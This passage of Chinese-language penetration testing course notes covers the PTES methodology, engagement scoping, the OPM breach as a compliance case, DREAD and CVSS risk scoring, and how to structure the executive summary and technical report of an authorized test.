- 目标与范围:数据所有者是谁?哪些数据和服务将被测试?有什么限制?
- 规则与限制:哪些操作是允许的?哪些是禁止的?是否涉及关键业务系统?某些攻击手法是否过于激进而不可用?
- 业务背景:目标系统的业务功能是什么?如果它们严重依赖 Web 界面,那么跨站脚本(XSS)或 SQL 注入就是重点;如果依赖无线网络,那么 Wi-Fi 安全就是关键。理解这些有助于确定测试重点。
渗透测试的核心价值
最后,我们来总结一下进行渗透测试的核心目的与价值。它远不止于“攻击系统”。
以下是渗透测试带来的主要益处:
- 保护关键数据:这是最重要的目标。
- 识别安全控制缺陷:发现需要实施或改进的安全措施。
- 优化资源分配:智能地确定资源投入和缓解策略,实现投资回报最大化。你需要将漏洞按风险(高、中、低)排序,优先处理高风险漏洞。
- 提升安全能力:理解自身弱点能极大改善事件响应处理能力,并加强防御措施。
- 训练安全团队:让团队更好地学习如何检测和响应攻击,这比完全依赖外部第三方更经济有效。
- 识别关键网络地形:了解与核心业务相关的网络资产、优势和弱点,理解系统间的依赖关系。
- 量化任务风险:能够分析并量化网络安全风险对核心业务任务的影响,确保业务连续性。
本节课中我们一起学习了渗透测试的工具分类、标准测试流程(包括规划、执行、报告的各个阶段),以及进行周密规划必须考虑的关键问题。最重要的是,我们明确了渗透测试的最终目标是提升组织的整体安全态势,而不仅仅是发现漏洞。
希望你对本模块的内容有所收获。部分内容也会体现在本模块的评分中。


008:渗透测试方法论 📊
在本节课中,我们将学习渗透测试的核心组成部分,并重点探讨如何撰写一份专业的渗透测试报告。我们将以渗透测试执行标准(PTES)为主要框架,同时也会简要介绍其他类似的方法论。
概述
渗透测试远不止于最终的报告。PTES 方法论提供了一个包含多个阶段的完整流程,确保测试的系统性和可重复性。报告是整个流程的结晶,其质量直接依赖于前期各阶段的执行深度。
上一节我们介绍了渗透测试的基本概念,本节中我们来看看构成一次完整渗透测试的具体步骤与核心产出。
渗透测试的定义与目标

渗透测试被定义为“对计算机系统进行授权的、模拟的攻击,以评估其安全性”。虽然这个定义简洁,但一次完整的渗透测试包含更多属性。
真正的关键在于向客户汇报时,需要识别与当前基础设施和配置相关的风险,以及对业务的潜在影响。如果不存在风险,客户则无需投资改进。但如果存在影响其核心业务的风险,客户需要了解潜在的业务影响和缓解建议,以便做出投资权衡决策。

方法论的重要性:PTES
为了有效进行测试,你需要一个定义清晰、可管理且可重复的方法论,并明确界定测试的边界、目标以及非目标(例如,明确标识禁止测试的组件)。

一次渗透测试只是安全状况的一个“快照”,单份报告的价值会随时间迅速降低。因此,测试需要定期进行。虽然客户可能希望只做一次扫描就一劳永逸(这样成本更低),但这是有风险的。因为测试一结束,新的漏洞(甚至是零日漏洞)就可能出现。威胁在演变,系统在更新,安全机制必须被定期测试和再测试,才能真正保护企业。
PTES 方法论包含以下七个阶段:

- 前期交互:与客户(赞助方)确定合同和测试规则。
- 情报收集:收集关于组织的企业及人员情报。
- 威胁建模:确定对业务资产和流程的潜在威胁。
- 漏洞分析:实际扫描计算资产以发现漏洞。
- 漏洞利用:尝试利用发现的漏洞。
- 后渗透活动:在成功渗透后进行的活动。
- 报告撰写:汇总所有发现并形成报告。
报告与方法的其他部分紧密耦合。只有在充分执行了其他阶段后,才能撰写出一份有意义、有用的报告。

前期交互与问题界定
测试的第一步是与客户会面,界定测试范围。以下是需要向客户提出的关键问题示例,用于指导测试:

- 测试的具体目标是什么?
- 测试的范围包括哪些系统、网络或应用?
- 有哪些系统或区域是禁止测试的?
- 测试的时间窗口是什么?
- 客户已有的安全策略和流程是什么?
- 需要遵守哪些相关的法律法规?
在我们的实验场景中,虽然没有真实的客户,但在你的报告中,仍需要通过描述对这些问题的典型回答来界定问题范围。没有绝对正确或错误的选择,但至少需要涵盖上述要点。你也可以思考其他重要但未列出的项目。
合规性检查
在检查合规性之前,你不仅需要了解组织的策略和流程,还需要知道相关的法律法规。你需要将策略、流程与合规要求进行比对,寻找可能的违规项或未被覆盖的要求缺口。

我们以2015年美国人事管理局(OPM)数据泄露事件作为案例,分析渗透测试如何帮助检查合规性。
该事件暴露了OPM在多个合规领域的失败:
- 社会工程学培训不足:攻击者通过仿冒网站获取了凭证。
- 身份验证策略薄弱:承包商仍在使用ID/密码,未按2011年规定启用双因素认证或PIV卡。
- 数据未加密:整个数据库在用户登录后即被解密,且个人身份信息(PII)未加密存储。
- 公开的安全缺陷:一份提交给国会的监察长报告公开指出了OPM系统的47个主要应用均未要求PIV认证等“持续性缺陷”,这为攻击者提供了侦察线索。
- 系统未经授权运行:系统在没有“运行授权”文件(证明已完成安全测试且缺陷已修复)的情况下运行。
一次针对合规性的渗透测试本应能提前发现这些策略、流程与法规要求之间的差距。
关注业务使命,而非单纯获取权限
对于黑客和红队成员来说,“获取root权限”可能很有趣。但渗透测试者真正需要关注的是客户的业务使命。
你需要思考:哪些系统用于什么目的?它们对组织的使命有多关键?例如,一个汽车修理店的网站主要用于宣传,其业务核心是实体维修,因此该网站的漏洞对核心业务影响最小。另一个例子是中央情报局(CIA),除了招聘,其官网与其核心情报任务关系甚微。因此,评估风险时必须结合业务背景。
收集与保存证据(战利品)
在测试过程中,你需要收集并保存所有发现的证据,MISP等工具将这些统称为“战利品”。这是你撰写报告时的宝贵资料。
到课程结束时,你可能会忘记早期实验的具体细节,从而导致报告遗漏本应包含的内容。避免这种情况的最佳方法是:随时记录和归档。许多红队的最佳实践是,在测试进行的同时就开始撰写报告,将“战利品”直接归档在报告中。


但请始终记住,核心不是“获取root权限”,而是评估其对业务使命的影响。

总结

本节课我们一起学习了渗透测试的完整方法论。我们以PTES框架为核心,详细探讨了从前期交互、情报收集到最终报告的七个阶段。我们强调了界定测试范围、检查合规性以及始终以客户业务使命为风险评估核心的重要性。最后,我们了解了持续收集和归档证据对于撰写一份全面、专业的渗透测试报告的关键作用。记住,一份好的报告是有效沟通风险、帮助客户做出明智安全决策的最终产物。
009:道德黑客技术体系 🛡️
在本节课中,我们将学习几种道德黑客(渗透测试)的方法论体系。我们将从好莱坞的虚构描绘开始,逐步探讨现实世界中由不同组织提出的、用于指导安全评估的正式方法论框架。
好莱坞的描绘与现实 🎬

在深入探讨严肃的方法论之前,我们先快速了解一下好莱坞的描绘。左边的流程图展示了电影《剑鱼行动》中的一个场景,其核心情节是一名黑客从政府秘密资金中窃取钱财。有趣的是,电影片名源自30年代马克思兄弟的一段喜剧片段。
右边的漫画试图捕捉电影中常见的黑客场景(上半部分)与社会工程学在现实中如何运作(下半部分)的对比。在这两种情况下,我们都应理解好莱坞的艺术加工,其描绘的方法论有时与现实相去甚远。
NIST SP 800-115 方法论 📘
我们关注的第一个方法论来自美国国家标准与技术研究院的特别出版物SP 800-115。该出版物为使用三种方法(测试、检查、访谈)进行安全评估的实体提供了指导。

以下是三种核心方法:
- 测试:在指定条件下运行一个或多个评估对象,以比较实际行为与预期行为的过程。
- 检查:检查、审查、观察、研究或分析一个或多个评估对象,以促进理解、实现澄清或获取证据的过程。
- 访谈:与组织内的个人或团体进行讨论,以促进理解、实现澄清或确定证据位置的过程。
这份特别出版物已超过八年未更新,因此在作为有效方法方面存在明显局限。

NIST 方法论的特点 🔍

尽管指南已显陈旧,但该出版物一个有趣的方面是其考察的测试视角。它区分了外部测试与内部测试、公开测试与隐蔽测试的方法论。
它还讨论了四个测试阶段:规划、发现、攻击和报告。这些阶段不一定线性发生,测试人员可能需要重新访问早期阶段。这些理念我们已简要讨论过,并在我们将要使用的PTES标准中得到了某种程度的体现。
ISSAF 与 OSSTMM 框架 🌍
ISSAF是一个相对详细、低级别的框架,起源于英国。它在十年前有一些有趣的想法,但并未更新。事实上,其理念、文档和项目本身似乎已从网络上消失。
OSSTMM 则是一个非营利组织,同样起源于欧洲,是一个发展良好且活跃的框架。但在某种意义上,它是由Peter Herzog主导的个人项目。该框架与ISSAF相比是更高级别的方法论,它不规定具体使用的工具,并假设从业者已具备渗透测试知识,因此初期学习曲线较陡。

Herzog先生认为“纵深防御”的理念已经过时。他提出的防御模型称为“莫比乌斯防御”,其核心理念是每个模块都应被视为独立个体进行保护,独立于企业的任何防线。因此,该模型忽略网络边界和安全区域,提倡“各自为战”作为保证保护的更好方式。

在公开版本的标准中,描述了渗透测试的几个阶段,支持者认为该方法非常科学。然而,该组织当前的商业模式似乎更侧重于培训,而非增强和扩展标准本身。OSSTMM在安全社区感兴趣的多个领域推广培训和认证,同时将方法论的最新版本仅限会员获取。
攻击性安全与PTES标准 ⚔️
在考虑培训和认证时,我们还应该关注攻击性安全公司,即Kali Linux的创造者。该公司既提供渗透测试服务,也提供包含实践操作认证的信息安全培训,这在安全社区中备受尊重。

渗透测试执行标准 提供了另一种方法论,它影响了为本课程提炼出的方法论。它也为我们将用于最终渗透测试报告的撰写提供了指导。该方法论之前已描述过,此处不再重复。但需要提醒的是,报告在流程列表中排在最后,并与方法论的其他部分紧密耦合。必须参与方法论的其他环节,才能编写出可用的渗透测试报告。
本课程的目标是将你在每周实验中收集的所有材料整合成一份最终报告,并尽可能多地涵盖PTES方法论的组成部分,同时认识到其中一些部分可能需要自行构思。
威胁建模与攻击者分类 🎯
为了对威胁进行建模,我们从攻击者的两个主要类别开始:内部人员和外部人员。我们需要在发起方的监督下完成这个表格的分析。
幻灯片通过识别各种内部威胁代理来细分内部威胁类别。一旦识别出代理,渗透测试人员需与发起方合作,确定各种代理可能攻击的业务资产和业务流程。做出此判断的一个因素可能是已经授予内部人员的访问权限。
收集这些信息后,渗透测试人员可以将其与发起方对资产的优先级排序结合使用,来制定基于这些代理在攻击中可能尝试的技术的测试计划。当然,这些代理列表中的成员具有不同的技能水平和不同的访问授权,因此测试必须考虑到这一点。
一旦为内部威胁代理建立了风险结构,就必须将这项工作扩展到外部威胁代理。同样,这些代理具有不同的技能水平、连接性和访问授权,因此威胁也不同。与内部代理一样,必须叠加发起方的要求。
教科书方法论对比 📊
此幻灯片上的表格描述了教科书中的方法论。其中一个遗漏是,Engelbretson没有讨论作为渗透测试人员“掩盖踪迹”的环节。在许多情况下,这是测试活动的关键方面,因为并非组织中的每个人都知晓渗透测试。如果在达到某些里程碑之前被检测到,测试可能不得不提前终止。
此表格比较了四种方法论。请注意它们之间存在相似之处,在某些阶段,实际上只是阶段名称的语义不同。但也要注意存在一些差异,某些方法论包含的阶段在其他方法论中却没有。正是这些差异促使我们为本课程提炼出一个寻找交集并尝试建立一致命名规范的方法论。请注意,CEH方法论也包含在此。

本课程采用的综合方法论 📝
这是我们将在课程中使用的最终综合方法论,它根据我们将涵盖的材料驱动着教学大纲。

你会发现PTES指导文件为准备阶段(称为“前期互动”)提供了一些额外细节。这是一个重要的区别。互动环节包含在我们方法论的前期规划中,但PTES团队认为,将红队的规划与客户的互动和讨论分开很重要。随着课程的进展,目标是按所示顺序处理这些阶段中的每一个。
总结与下节预告 ✅

本节课中,我们一起学习了多种道德黑客方法论体系,从NIST、ISSAF、OSSTMM到PTES和攻击性安全公司的实践。我们了解了威胁建模的方法,并最终确定了本课程将采用的综合方法论框架。

现在我们已经完成了对道德黑客方法论的概述,接下来我们将深入探讨渗透测试报告的具体内容,你将在完成本课程报告时运用这些理念。
010:渗透测试报告执行摘要 📋
在本节课中,我们将学习如何撰写一份专业的渗透测试报告,特别是其核心部分——执行摘要。我们将了解执行摘要的结构、内容要点以及如何向非技术背景的管理层清晰地传达风险与建议。
上一节我们介绍了渗透测试的方法论,本节中我们来看看如何将测试结果整理成一份有价值的报告。

报告概述与目标
在本次讲座的剩余部分,我将讨论渗透测试报告的内容。我将重点介绍PTES方法,但正如之前所学,也存在其他类似的方法论。实际上,大多数渗透测试团队都有自己定制化的报告格式,这些格式在多次测试中不断演进,以更贴合团队需求,而非严格遵循某个标准。但最终,即使是PTES的报告指南也需要进行调整,以满足当前测试的具体要求。
查看该抽象方法论的底部,其目标是以一种能够帮助客户组织管理层为其安全机制做出明智投资决策的方式,提出缓解措施并将其记录在报告中。他们可能会实施你提出的缓解措施,也可能不会。重要的是,你需要评估其业务面临的风险,对该风险进行量化,并提出如果实施应有助于减少客户暴露风险的缓解措施。
方法论回顾与假设
我们之前见过这张方法论幻灯片。我再次展示它,是为了提醒大家,由于没有实际的客户进行互动,预互动阶段和威胁建模无法真正进行。对于预互动阶段,你应该提出在任何渗透测试中都合理的想法。实验说明中的场景是,客户希望进行一次外部发起的、防火墙开启状态下的黑盒测试。
但你需要像客户一样做出决策,例如对攻击运营数据库、安装后门和破解密码等行为施加任何限制。威胁也将作为实验指导的一部分进行讨论。例如,已识别的外部威胁之一是脚本小子,另一个是客户只关心外部威胁,不关心内部威胁。
预互动与威胁建模要点
承接上一张幻灯片,这两个要点代表了方法论中假定已完成的部分。渗透测试团队应与发起方签订书面合同,明确测试的范围和日期。合同应包含在范围内的域、不在范围内的域,以及与第三方和第三方系统互动的规则。它还应明确规定对渗透测试人员使用物理攻击、社会工程学、后门和密码破解工具的任何限制。
对于威胁建模,标准侧重于两个关键要素:资产和攻击者。资产进一步细分为业务资产和业务流程,攻击者则细分为威胁社区及其能力和技能水平。
以下是需要在最终报告中总结的一些项目,它们代表了预互动协议。这些项目大部分都包含在实验说明提供的大纲中,但其中一些可能以不同方式呈现,或者需要一些额外细节以适应报告。因此,在开始制定大纲时,你应该回顾此列表,以确保报告包含所有内容。
报告的重要性与结构
最终报告是发起方会记住的东西。在报告上偷工减料风险自负。你可能永远不会再被邀请回来。这提醒我们,渗透测试是在某个时间点完成的,你需要确保发起方理解,随着威胁、资产和工具的演变,发起方应请求进行额外的测试。你可能希望确保报告质量高,以便再次被邀请。
术语“执行摘要”并非通常撰写白皮书摘要时的含义。它不是两页的总结。它是一份复杂的风险评估和缓解措施建议,决策者可以用它来做出安全投资决策。
通常,你会被要求提供一份书面结果报告,并在发起方的场所通过演示来总结结果。请确保写作和演示材料的水平与你的渗透测试技术技能相当。
报告本身将包含三个部分:
- 执行摘要:必须撰写到高级经理和高管能够理解并据此采取行动的水平。在大多数情况下,高管只会阅读这部分,因此它必须非常清晰、精确,且建议必须具有可操作性。
- 详细报告:面向技术人员,他们会质疑你的结果并希望了解细节。
- 原始数据:包含存储库中保存的所有材料、所有截图以及任何其他可能需要用来证明详细技术报告和执行摘要中结论和推论的材料。
执行摘要详解
如前所述,执行摘要面向非技术背景的高管层受众。它是为可能根据你的建议采取行动的决策者准备的,因此需要清晰地展示业务影响。它应该包含诸如“以下是您的业务可能受到损害的方式”之类的短语。
请记住,它是一份摘要,并引用了更多细节。因此,不要在这部分陷入技术信息的泥潭。另一方面,也不要轻视执行摘要。要讨论业务风险和缓解建议,并注意执行摘要和技术报告之间可能存在一些重叠,例如风险讨论。这是因为每份报告通常有两个受众,他们有不同的但相互交叉的目标。两个受众都希望理解风险,但详细程度不同。
幻灯片左侧显示了执行摘要的推荐章节,我们将更详细地讨论每一个。
背景部分
背景部分将读者与测试的目标、目的和范围联系起来。可能有许多读者没有参与预互动讨论,因此本节为他们提供了关于已达成协议的内容以及在阅读报告时可以期待什么的背景信息。
它还必须包括威胁建模的讨论,以便读者知道测试了哪些代理和哪些资产。这将包括解释这样一个事实:这并非针对每个资产和每个代理的全面测试。在企业范围内,识别被攻击的特定系统及其逻辑和物理位置。在讨论每个资产时,根据客户在预互动讨论中指定的内容,识别其业务关键性。
在继续背景部分时,提供方法论的摘要。但请记住,高管对你使用了什么工具不感兴趣。这样的讨论对他们没有意义。作为方法论的一部分需要总结的一些主题如下:
以下是需要总结的方法论主题:
- 描述测试中模拟的威胁代理(内部、外部或两者兼有)。
- 描述发起方同意的、用于制定渗透测试计划的资产风险等级。
- 描述对使用物理访问或社会工程学的任何限制。
- 描述测试的保护机制。在我们的场景中,关键的安全机制是身份验证和无状态防火墙。但如果你想到其他机制,也应包括在内。
- 描述使用的扫描技术,但要概括性地描述。例如,我们扫描了未打补丁或升级的可用服务。
- 概括性地描述确认扫描期间发现的漏洞的利用技术。例如,我们利用了易受攻击的服务,并执行了客户端攻击和浏览器端攻击。
- 描述测试过程中对测试目标进行任何修改的理由。修改测试的书面协议应包含在报告的附录中,并在本背景部分引用。
安全态势部分
安全态势部分将讨论测试的整体有效性,以及渗透测试人员是否能够实现商定的目标。
应总结系统性问题,例如:发起方的安全团队没有及时修补软件的有效流程。提供一个或两个已知的、有文档记录的、供应商已解决但客户尚未安装补丁的漏洞的具体例子。
描述渗透测试人员获取客户信息或资产的能力,并定性地识别对业务的潜在影响。由于你没有很好的方法来评估潜在的美元损失,请量化已确认的漏洞以及客户为保护将丢失的业务关键信息而实施的安全控制。
虽然本节不提供建议的缓解措施,但你希望发起方开始考虑加强组织的安全态势。
风险部分
风险部分首先要描述的是漏洞,应根据威胁模型对其进行识别、分类和解释。漏洞的一个例子可能是未打补丁的内核驱动程序。而相关漏洞类别的一个例子可能是缺少补丁或未能加固操作系统。这里的思路是,25个漏洞让高管难以理解,而3个类别则更容易解释。
其次,需要在报告的这一部分识别和解释整体风险等级。在预互动讨论中,渗透测试人员和发起方应已确定用于跟踪风险的分值机制。例如,微软开发的DREAD系统,为以下各项分配高、中、低数值:
- D - 损害:攻击会有多严重。
- R - 可复现性:复现攻击有多容易。
- E - 可利用性:发起攻击需要多少工作量。
- A - 受影响用户:多少人会受到影响。
- D - 可发现性:发现威胁有多容易。

这些单项分数的总和提供了与漏洞类别内漏洞相关的风险度量。
通用漏洞评分系统(CVSS)是制定风险指标的另一种方法。它是一个定量模型,使用户能够看到用于生成分数的底层漏洞特征。CVSS从一个基础分数开始,用于计算时间分数,再用于计算环境分数,最后用于计算总体分数。当然,还有其他威胁风险系统。但在与客户会面之前,你应该心中有数。你可以在OASIS组织的威胁风险建模下阅读更多相关内容。
在解释了这两个要素之后,报告应讨论所选的方法,以衡量业务风险(而不是识别漏洞的存在)。讨论从检查漏洞类别开始,例如未能修补软件。风险模型将为此类别分配一个风险数值,以便与其他类别进行比较。
一种算法(可能像加法一样简单)提供了一种将单个漏洞转化为漏洞类别等级,再转化为企业指标的方法。最终得分可能落入类似极端、高、升高、中等和低的等级方案中。这是PTES指南定义的一部分。但如果你使用这个量表,请确保你的累积风险结果落在这个区间内:0到15。

漏洞等级与风险算法
漏洞等级系统应提供一种方法,用于对渗透测试报告产生的可操作项进行优先级排序。CVSS可用于衡量与可追溯到CVE编号的单个漏洞相关的风险。CVSS使用的整体评分系统将映射到高、中、低分组,但这些定性等级只是从数字CVSS分数映射而来。
如果漏洞的CVSS基础分数为0到3.9,则标记为低严重性;如果基础CVSS分数为4.0到6.9,则标记为中严重性;如果CVSS基础分数为7.0到10.0,则标记为高严重性。
定性量表的另一种方法可以是:高指任何可实现远程代码执行或窃取特定高价值客户数据的方法。中可能用于潜在可利用的漏洞或可能影响业务资产(如声誉)的数据项泄露。低可能指定为泄露可能使某个已识别威胁受益但不是有价值的公司信息的信息。

请注意,这个CVSS量表最高只到10。因此,如果你决定使用从0到15的PTES风险量表,需要进行某种调整。
以下是一个简单的企业风险算法示例。你不必使用这种方法,但需要类似的东西来定义企业的风险指标。在这个例子中,黑色公式展示了一种将个体风险组合成与漏洞类别相关的风险的简单方法,而漏洞类别又用于确定整体业务风险。
这只是一个简单的例子,表明必须开发某种方法来汇总个体漏洞风险。蓝色显示的另一种方法可能是取漏洞类别内的最高分,以捕捉该类别中最薄弱的环节。关键是开发一种对发起方有意义、对你有意义并能提供风险指标的方法论。该算法应在预互动讨论中达成一致,并且这些计算的结果应呈现在渗透测试报告中。

风险等级与发现总结
这些来自PTES的示例等级衡量了客户安全控制被攻破的风险以及相关的潜在重大财务损失。如果在报告中使用,需要讨论其企业的整体风险分数是如何计算的。例如,它可能基于一小部分高风险类别、可能不止一个的中等风险漏洞类别和几个低风险类别。
安全评估应根据成功的直接攻击进行讨论。这一点很重要:如果某个漏洞看起来存在,但你未能利用它,它对分数的影响应该是最小的或为零。最后,报告应总结导致指标达到当前水平的最严重漏洞。还应包括与这些严重漏洞相关的成功攻击的简要描述。
总体发现部分
总体发现部分将提供渗透测试期间发现问题的概要。它应包括分析性内容、简单的定量细节和显示一些统计数据的图形。你需要包含一个高级别的架构和目标图、攻击场景和成功率、利用的漏洞来源(使用统计数据和指标)以及按系统划分的重要结果的定量总结。在这里尽可能多地使用图形,从定量角度解释结果。你还应尝试以定量的方式描述对策的有效性。例如,一张图表显示尝试了多少次渗透尝试,以及有多少次被防火墙阻止或被入侵防御系统检测并阻止。其目的是展示发起方为安全控制所做的设计,并讨论其有效性。
如果你在测试过程中跟踪测试的漏洞,可以包含这样一张图。在这种情况下,在主机5上,15次尝试中有0次成功利用。在主机3上,15次尝试中有13次成功利用。
这是定量图形的另一个例子。它显示了按类别检测到的漏洞百分比。当然,在你发现被测系统中的漏洞集合时,还有许多其他潜在的类别。你需要进行必要的分析评估,将它们放入定义明确的类别中,这将为解释风险提供一个框架。
建议部分
最后,可能也是最重要的部分是建议。报告的这一部分应为读者提供解决已识别风险所需任务的高层次理解。它还应讨论实施这些任务所需的工作量。其目的是为读者提供足够的信息,以便将缓解成本与成功攻击的风险进行比较。本节还应确定可能引入的任何加权机制,以确定实施顺序的优先级。例如,提高密码熵的重要性可能是加快补丁过程的1.5倍,或者它们可能权重相同。无论选择什么,都应在此处解释。
提出建议的一个挑战是找到一个可行的中间立场。正如幻灯片所指出的,如果你考虑所有可能的NIST SP 800-53控制组合,选项数量将难以管理。然而,建议的更改可能比仅仅考虑SANS前20大安全控制更复杂。推荐SANS前20大根本不需要进行渗透测试。更重要的是,那些前20大与发起方的业务模型、业务流程或业务数据没有任何联系。
一旦你提出并确定了建议的优先级,你需要描述一个路线图,其中包括修复发现的不安全项的计划。该计划应覆盖那些被认为是测试重要部分的威胁的威胁建模。可能有一个需要超过12个月才能修复的高优先级漏洞,也可能有一个可以通过立即购买硬件设备来缓解的低优先级漏洞。即使发起方可能只选择部分实施建议,你也需要帮助他们制定一个计划。在制定计划时,你还应考虑业务目标和潜在的业务影响。其思路是将你的建议分解,使其与预定义的目标保持一致,并为前进的道路提供路径。请记住,发起方可能有资本或费用限制,将一到三个月的目标延长到六个月或更长时间。
总结

本节课中我们一起学习了如何撰写渗透测试报告的核心——执行摘要。我们了解到,执行摘要远不止是一个简单的总结,它是一份面向决策者的综合性风险评估与建议文档。它需要清晰地传达测试背景、安全态势、量化风险以及可行的缓解措施路线图,以帮助客户做出明智的安全投资决策。
011:渗透测试技术报告 📋
在本节课中,我们将学习如何撰写一份详尽的渗透测试技术报告。我们将重点介绍报告的核心结构、各部分应包含的内容,以及如何将技术细节有效地传达给安全团队。
概述
一份专业的渗透测试报告不仅是测试结果的记录,更是指导客户修复漏洞、提升安全性的关键文档。上一节我们介绍了报告的执行摘要,本节中我们将深入探讨技术报告的详细构成。技术报告面向安全工程师和网络运维人员,旨在详细说明攻击方法、漏洞原理及防护机制失效的原因。
技术报告引言
技术报告的引言部分可能重复执行摘要中的一些背景信息。然而,由于读者可能包括安全工程师,此处需要提供更深入的技术内容。
例如,不应只提供高级架构图,而应包含防火墙、路由器、交换机、VPN服务器、Web服务器、DMZ区、数据库服务器,甚至单个设备上运行的端口和服务详情。
本质上,本节需要深入细节,提供尽可能多的工程内容,但无需包含原始数据。原始数据将放在附录中。
以下是引言部分应包含的自解释性内容:
- 测试组织:描述执行渗透测试的机构。
- 测试范围与目标:概述在预互动阶段商定的测试范围和目标。
- 方法论:说明遵循的测试方法论、基于威胁模型使用的攻击向量、风险度量方法的细节以及漏洞分类背后的逻辑。

任何与理解渗透测试方法相关的、来自执行摘要的内容都应在此处重新引入,但不应直接复制粘贴。两份讨论应针对不同的受众进行定制。
“测试强度”是一个较为模糊的概念。一方面,它将报告与威胁主体关联。例如,国家支持的威胁主体所需的测试强度高于脚本小子。具体来说,你是否使用了自定义脚本或标准脚本?另一方面,测试强度也体现了所使用的技术。你是实际运行了漏洞利用,还是仅演示了其可能性?
情报收集
本课程包含关于侦察的一讲。在那讲中,你会看到情报收集和信息评估是任何渗透测试的基础要素。测试者对目标环境了解得越充分,测试结果就越好。
本节应讨论通过PTES情报收集阶段获得的所有公开和私有信息。至少,识别出的结果应按以下四个基本类别呈现:
- 企业情报:包括组织结构、业务单元、市场份额、垂直/水平整合及其他企业职能信息。这些信息应映射到被测试的业务流程和物理业务资产。
- 人员情报:任何将用户映射到目标组织的信息。本节应展示从公共或私有数据库、邮件存储库、社交网络论坛、组织结构图和其他员工详细信息源收集情报的技术。如果社会工程学或网络钓鱼在渗透测试范围内,则应呈现收集到的任何人员情报,例如高管联系信息。一个很好的例子是某小公司因黑客入侵所有者邮箱和日历,看到其完成银行交易的流程,在其开会时复制流程将资金转入自己账户,并在其返回前删除邮件,导致损失数百万美元。
- 被动情报:通过间接方法收集的情报,例如用于获取IP基础设施相关信息的DNS和Google Hacking。本节将重点介绍在不直接向资产发送任何流量的情况下,分析目标环境技术概况的技术。
- 主动情报:展示诸如基础设施映射、端口扫描、架构评估和其他足迹勘察任务的方法和结果。本节将重点介绍通过向资产发送流量来分析目标环境技术的技术。
漏洞分析

报告的漏洞部分首先分别审视每个已识别的漏洞。在预互动威胁建模中测试或识别的威胁,以及基于模拟这些威胁寻找漏洞的漏洞评估。它包括识别潜在漏洞的行为,以及基于所选风险模型进行相关风险评分。
本节应链接到风险模型,并解释用于识别漏洞的方法以及漏洞的分类。
你应提供证据,根据你的结果证明潜在漏洞是可被利用的。包含一些关于检测难度和若被利用可能造成的影响的信息。每个漏洞应根据检测机制和与其他漏洞的相似性进行分类。
检测机制可能包括:手动识别、扫描器发现、已知协议/服务弱点或CVE条目。漏洞类别之前已讨论过,此处不再重复。本节的最终总结应根据发现的漏洞数量、漏洞类别数量(这转化为攻击向量的数量)以及漏洞被发现的难易程度,来呈现组织的暴露情况。
漏洞利用

漏洞利用部分应讨论实际尝试的漏洞利用,哪些成功,哪些未成功。成功的利用确认了漏洞的存在,而未成功的利用则提供了该漏洞可能不构成风险的证据。
漏洞利用是触发上一节中识别的漏洞,以获得对目标资产指定级别访问权限的行为。
本节应回顾攻击类型、攻击目标以及为确认漏洞所采取的所有步骤,包括利用时间线、选择进行利用的目标、攻击场景、成功和失败的利用尝试以及详细的利用活动。
利用活动应讨论对端口和服务的直接攻击结果,以及使用社会工程学、网络钓鱼、客户端攻击渗透网络和浏览器端攻击获取服务器基础设施访问权限的间接攻击结果。每个成功的攻击都应说明所达到的访问级别,并建议消除漏洞的缓解机制或安全控制措施。
用一些关于尝试利用中成功次数的统计数据来总结本节。首先,根据攻击类型进行分类:直接、间接和Web攻击。间接攻击可进一步细分为社会工程学、网络钓鱼、客户端攻击和浏览器攻击。这种量化细节将帮助安全工程团队向管理层建议应首先在何处投入资金。例如,如果网络钓鱼成功率很高,组织可能希望立即投资为所有员工提供强制的强化培训课程。当然,此分析的结果推动了执行摘要中的建议和路线图。
后渗透利用
后渗透利用是渗透测试人员评估成功利用对业务影响的关键要素。虽然报告的前几部分传达了漏洞的技术性质以及成功利用缺陷的能力,但后渗透利用将把利用漏洞的能力与业务的实际风险联系起来,包括权限提升、在网络中横向移动、维持长期访问以及窃取知识产权、竞争数据或PII等敏感信息。
如果你能够提升权限,从而访问更多数据或控制更多业务流程,则需要对此进行讨论。客户可能理解初始访问的许多问题,但他们可能不会将垂直和水平权限提升视为额外的威胁。本节应清楚解释通过权限提升对业务造成的额外负面影响。

如果你能够窃取客户认定对其业务至关重要的数据,则应提供攻击的详细讨论,包括收集的数据量、数据类型以及展示技术的截图。
如果你能够访问核心业务系统(如数据库)以执行保密性或完整性攻击,则应提供截图并详细讨论你控制该业务系统的能力。
如果你能够横向移动到其他系统,则应描述针对这些系统的相关利用,以及从次要目标收集的任何业务资产或业务数据访问。
如果后门在渗透测试范围内,则应讨论其有效性以及移除过程,以确保客户相信它们不再安装在任何计算机或其他设备上。
最后,应讨论客户主动控制和被动应对措施的有效性。如果触发了任何事件响应,则应讨论其对渗透测试的细节和影响。
应提供评估,描述防火墙(包括WAF)、IDS、IPS、网络访问控制、监控工具、数据防泄露机制和日志记录等方面的响应和有效性。
风险量化
既然已经解释了对业务的直接影响,就可以为技术团队完成风险量化。它应扩展执行摘要中的风险讨论。
需要讨论与业务资产和业务数据相关的企业风险值,因为它们与发现的漏洞和运行的利用相关。总结将单个漏洞类别排名转化为企业指标的风险算法的分析和统计细节。应根据所选算法解释企业暴露的最终风险级别。安全控制措施的强度也应加以总结。这将使客户能够识别、可视化所发现漏洞的货币价值,并根据组织的业务目标有效权衡缓解成本。
讨论所选的风险系统,例如CVSS,并提供量化细节。按漏洞类别讨论业务风险,涉及估计的事件频率、每次事件的估计损失以及损失的根本原因。讨论评估中使用的估计威胁能力,基于威胁建模、攻击者所需的技能水平和攻击者所需的访问级别。

结论与报告要点
在结论中,总结建议的根本驱动因素,以及实施这些建议将如何提高客户的安全态势。报告应以积极的基调结束,提供支持和指导,以加强安全计划,并为未来维持组织安全态势意识所需的活动提供方法。
以下是关于渗透测试报告的最后几点建议:
- 诚实:保持诚实,并准备好使用捕获的证据来支持你的所有论断,以证实发现。
- 数据可用性:提供所有原始数据,但不一定需要作为报告的附录。你可能只想留下一个磁盘存档或你用于捕获数据的任何存储库。
- 敏感性处理:记住,报告对组织非常敏感。请相应对待,并对创建的电子版本进行加密。


总结


本节课中,我们一起学习了如何构建一份详尽的渗透测试技术报告。我们从报告引言、情报收集、漏洞分析、漏洞利用、后渗透利用,一直讲解到风险量化和最终结论。掌握这些内容,你将能够撰写出专业、详实且具有行动指导意义的报告,帮助客户真正理解其安全风险并采取有效措施。接下来,我们将以此为基础,探讨构成我们渗透测试基础的场景。
012:渗透测试实战场景 🎯
